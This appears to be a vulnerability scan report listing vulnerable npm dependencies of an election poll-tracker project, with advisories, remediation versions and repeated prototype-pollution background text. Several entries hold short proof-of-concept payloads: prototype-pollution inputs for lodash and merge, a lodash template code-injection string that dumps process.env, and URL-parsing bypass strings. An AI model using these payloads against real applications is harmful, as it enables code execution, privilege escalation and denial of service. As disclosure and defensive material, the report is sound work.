  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade unset-value to version 2.0.1 or higher.

References

high severity

Improper Handling of Extra Parameters

  • Vulnerable module: follow-redirects
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3 follow-redirects@1.0.0
    Remediation: Upgrade to axios@0.16.1.

Overview

Affected versions of this package are vulnerable to Improper Handling of Extra Parameters due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

PoC

# Case 1 : Bypassing localhost restriction
let url = 'http://[localhost]/admin';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://localhost/admin
}

# Case 2 : Bypassing domain restriction
let url = 'http://attacker.domain*.allowed.domain:a';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://attacker.domain/*.allowed.domain:a
}

Remediation

Upgrade follow-redirects to version 1.15.4 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

PoC by Snyk

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

For more information, check out our blog post

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.12 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.

PoC

lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: merge
  • Introduced through: exhibit-directory@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-directory@0.10.1 sane@1.7.0 exec-sh@0.2.2 merge@1.2.1

Overview

merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.

Affected versions of this package are vulnerable to Prototype Pollution via _recursiveMerge .

PoC:

const merge = require('merge');

const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');

let obj1 = {x: {y:1}};

console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);

Output:

Before : undefined
After : yes
After : yes

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade merge to version 2.1.1 or higher.

References

high severity

Hash Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1
    Remediation: Upgrade to sequelize@4.12.0.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Hash Injection. Using specially crafted requests an attacker can bypass secret_token protections on websites using sequalize.

Node.js and other platforms allow nested parameters, i.e. token[$gt]=1 to be transformed into token = {"$gt":1}. When such a hash is passed into sequalize it will consider it a query (greater than 1) and find the first token in the DB, bypassing security of this endpoint.

PoC

db.Token.findOne({
      where: {
        token: req.query.token
      }
);

Remediation

Upgrade sequelize to version 4.12.0 or higher.

References

high severity

Code Injection

  • Vulnerable module: lodash
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Code Injection due the improper validation of options.variable key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

high severity

Code Injection

  • Vulnerable module: lodash.template
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 gulp-util@3.0.8 lodash.template@3.6.2

Overview

lodash.template is a The Lodash method _.template exported as a Node.js module.

Affected versions of this package are vulnerable to Code Injection due the improper validation of options.variable key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

There is no fixed version for lodash.template.

References

high severity

Cross-site Request Forgery (CSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.28.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

high severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

  • Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
  • IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
  • A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

high severity
new

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@1.16.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 1.16.0 or higher.

References

high severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1
    Remediation: Upgrade to sequelize@6.21.2.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to an improper escaping for multiple appearances of $ in a string.

Remediation

Upgrade sequelize to version 6.21.2 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.30.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.

Remediation

Upgrade axios to version 0.30.0, 1.12.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

